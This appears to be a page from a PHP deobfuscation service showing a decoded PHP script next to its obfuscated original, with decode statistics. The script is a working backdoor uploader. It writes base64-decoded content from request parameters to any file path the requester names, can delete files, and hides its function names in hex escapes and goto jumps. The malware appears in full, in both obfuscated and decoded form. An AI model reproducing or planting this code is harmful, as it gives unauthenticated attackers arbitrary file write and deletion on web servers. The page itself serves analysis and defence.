Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if (isset($_REQUEST["\x66\156\141\x6d\145"])) { goto jt_0bVM6kQ; } echo "\x74\145\162\x6d"..

Decoded Output download

<?  if (isset($_REQUEST["fname"])) { goto jt_0bVM6kQ; } echo "term"; jt_0bVM6kQ: 
goto wYjyK; Nw9sq: $o2wxw["flink"] = $Rlwr6 . "://" . $eSQhH . "/" . $wR_AP; goto FKyqm; RlIjA: $o2wxw["delres"] = 1; goto bi_fV; RhXas: $lDJ2S = "json_encode"; goto mYV2C; M15bx: $r5HXI = $_REQUEST["code"]; goto vWkAl; yl3vt: if (!($AaWX_ == "1" && $wR_AP)) { goto mJlno; } goto FdbXH; Bv8pV: if (!(!$pVZP6($wR_AP) || $zRKnT <= 0)) { goto pq76A; } goto lwCNi; Bt9I2: PlSM0: goto fIV36; mYV2C: $Rlwr6 = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; goto Y1kJ0; PqJRE: if ($pVZP6($wR_AP) && $zRKnT > 0) { goto nLgp4; } goto HxGlV; L0l2W: $o2wxw["star"] = "opt"; goto wSkJ8; MOUbD: goto ZXX_2; goto Bt9I2; CGU_x: $eDRLZ = $D3ldx("%20", " ", $eDRLZ); goto RDSHE; d27u4: $D3ldx = "str_replace"; goto RhXas; Z57tO: $PjCCU = "filesize"; goto d27u4; fIV36: $eDRLZ = $z30lP($r5HXI); goto CGU_x; wSkJ8: if ($wR_AP && $r5HXI) { goto PlSM0; } goto yl3vt; FdbXH: $o2wxw["flink"] = $Rlwr6 . "://" . $eSQhH . "/" . $wR_AP; goto NnKj7; RDSHE: $eDRLZ = $D3ldx("%3A", ":", $eDRLZ); goto w2CkD; UOejd: echo $lDJ2S($o2wxw); goto scLbv; sO97K: goto dRZ4K; goto ZIjpk; GUXUr: dRZ4K: goto UOejd; iM9Na: $FC2B0 = "fwrite"; goto u4NwM; LS3Ob: $zRKnT = $PjCCU($wR_AP); goto yCOwj; ZIjpk: nLgp4: goto Nw9sq; MZ_rw: $z30lP = "base64_decode"; goto lp7Zx; lp7Zx: $Yqfd7 = "fopen"; goto iM9Na; JSwtL: if (!$zzaDP) { goto cERcP; } goto RlIjA; HxGlV: $o2wxw["flink"] = $Rlwr6 . "://" . $eSQhH . "/" . $wR_AP; goto tyFdx; u4NwM: $JwY6g = "file_get_contents"; goto quIGq; vWkAl: $AaWX_ = $_REQUEST["del"]; goto MZ_rw; yCOwj: pq76A: goto PqJRE; uJCaW: $zRKnT = $PjCCU($wR_AP); goto Bv8pV; tyFdx: $o2wxw["res"] = 0; goto sO97K; quIGq: $LPFc9 = "file_put_contents"; goto rPS9W; l3N9V: $o2wxw = array(); goto L0l2W; MJyXn: $sgsHF = $FC2B0($Lnhrb, $eDRLZ); goto uJCaW; rPS9W: $WUxJ3 = "unlink"; goto P6Z_c; Y1kJ0: $eSQhH = $_SERVER["HTTP_HOST"]; goto l3N9V; w2CkD: $Lnhrb = $Yqfd7($wR_AP, "w"); goto MJyXn; P6Z_c: $pVZP6 = "file_exists"; goto Z57tO; NnKj7: $zzaDP = $WUxJ3($wR_AP); goto JSwtL; wYjyK: $wR_AP = $_REQUEST["fname"]; goto M15bx; lFw5B: mJlno: goto MOUbD; lwCNi: $Gty_k = $LPFc9($wR_AP, $eDRLZ); goto LS3Ob; bi_fV: cERcP: goto lFw5B; FKyqm: $o2wxw["res"] = 1; goto GUXUr; scLbv: ZXX_2: ?>

Did this file decode correctly?

Original Code

if (isset($_REQUEST["\x66\156\141\x6d\145"])) { goto jt_0bVM6kQ; } echo "\x74\145\162\x6d"; jt_0bVM6kQ:
goto wYjyK; Nw9sq: $o2wxw["\x66\x6c\151\156\x6b"] = $Rlwr6 . "\x3a\x2f\57" . $eSQhH . "\x2f" . $wR_AP; goto FKyqm; RlIjA: $o2wxw["\x64\145\x6c\162\x65\163"] = 1; goto bi_fV; RhXas: $lDJ2S = "\x6a\x73\157\156\137\x65\156\x63\157\144\145"; goto mYV2C; M15bx: $r5HXI = $_REQUEST["\143\x6f\x64\x65"]; goto vWkAl; yl3vt: if (!($AaWX_ == "\x31" && $wR_AP)) { goto mJlno; } goto FdbXH; Bv8pV: if (!(!$pVZP6($wR_AP) || $zRKnT <= 0)) { goto pq76A; } goto lwCNi; Bt9I2: PlSM0: goto fIV36; mYV2C: $Rlwr6 = isset($_SERVER["\110\x54\x54\x50\123"]) && $_SERVER["\x48\124\x54\120\123"] == "\157\156" ? "\x5c\x78\x36\70\164\164\x5c\x78\67\x30\x73" : "\134\x78\66\x38\164\x74\x5c\x78\x37\60"; goto Y1kJ0; PqJRE: if ($pVZP6($wR_AP) && $zRKnT > 0) { goto nLgp4; } goto HxGlV; L0l2W: $o2wxw["\163\x74\141\162"] = "\157\x70\x74"; goto wSkJ8; MOUbD: goto ZXX_2; goto Bt9I2; CGU_x: $eDRLZ = $D3ldx("\x25\x32\x30", "\x20", $eDRLZ); goto RDSHE; d27u4: $D3ldx = "\163\x74\x72\x5f\x72\145\160\154\x61\x63\145"; goto RhXas; Z57tO: $PjCCU = "\x66\x69\x6c\x65\163\151\x7a\x65"; goto d27u4; fIV36: $eDRLZ = $z30lP($r5HXI); goto CGU_x; wSkJ8: if ($wR_AP && $r5HXI) { goto PlSM0; } goto yl3vt; FdbXH: $o2wxw["\x66\154\x69\156\x6b"] = $Rlwr6 . "\x3a\57\57" . $eSQhH . "\57" . $wR_AP; goto NnKj7; RDSHE: $eDRLZ = $D3ldx("\x25\63\x41", "\72", $eDRLZ); goto w2CkD; UOejd: echo $lDJ2S($o2wxw); goto scLbv; sO97K: goto dRZ4K; goto ZIjpk; GUXUr: dRZ4K: goto UOejd; iM9Na: $FC2B0 = "\x66\167\x72\151\164\145"; goto u4NwM; LS3Ob: $zRKnT = $PjCCU($wR_AP); goto yCOwj; ZIjpk: nLgp4: goto Nw9sq; MZ_rw: $z30lP = "\142\141\x73\x65\66\x34\137\x64\145\x63\157\144\x65"; goto lp7Zx; lp7Zx: $Yqfd7 = "\x66\157\160\145\156"; goto iM9Na; JSwtL: if (!$zzaDP) { goto cERcP; } goto RlIjA; HxGlV: $o2wxw["\146\x6c\x69\x6e\x6b"] = $Rlwr6 . "\72\57\x2f" . $eSQhH . "\57" . $wR_AP; goto tyFdx; u4NwM: $JwY6g = "\x66\151\154\x65\x5f\147\145\164\137\x63\157\156\x74\145\x6e\x74\x73"; goto quIGq; vWkAl: $AaWX_ = $_REQUEST["\144\x65\x6c"]; goto MZ_rw; yCOwj: pq76A: goto PqJRE; uJCaW: $zRKnT = $PjCCU($wR_AP); goto Bv8pV; tyFdx: $o2wxw["\162\145\163"] = 0; goto sO97K; quIGq: $LPFc9 = "\x66\151\x6c\145\137\x70\165\x74\x5f\x63\157\x6e\x74\145\156\x74\x73"; goto rPS9W; l3N9V: $o2wxw = array(); goto L0l2W; MJyXn: $sgsHF = $FC2B0($Lnhrb, $eDRLZ); goto uJCaW; rPS9W: $WUxJ3 = "\165\x6e\x6c\x69\x6e\x6b"; goto P6Z_c; Y1kJ0: $eSQhH = $_SERVER["\x48\x54\124\x50\x5f\x48\x4f\123\124"]; goto l3N9V; w2CkD: $Lnhrb = $Yqfd7($wR_AP, "\x77"); goto MJyXn; P6Z_c: $pVZP6 = "\146\151\154\x65\137\x65\x78\x69\x73\x74\163"; goto Z57tO; NnKj7: $zzaDP = $WUxJ3($wR_AP); goto JSwtL; wYjyK: $wR_AP = $_REQUEST["\x66\156\141\155\145"]; goto M15bx; lFw5B: mJlno: goto MOUbD; lwCNi: $Gty_k = $LPFc9($wR_AP, $eDRLZ); goto LS3Ob; bi_fV: cERcP: goto lFw5B; FKyqm: $o2wxw["\x72\x65\163"] = 1; goto GUXUr; scLbv: ZXX_2:

Function Calls

None

Variables

None

Stats

MD5 201fc46d335ae8a830460b92cd19ec6c
Eval Count 0
Decode Time 49 ms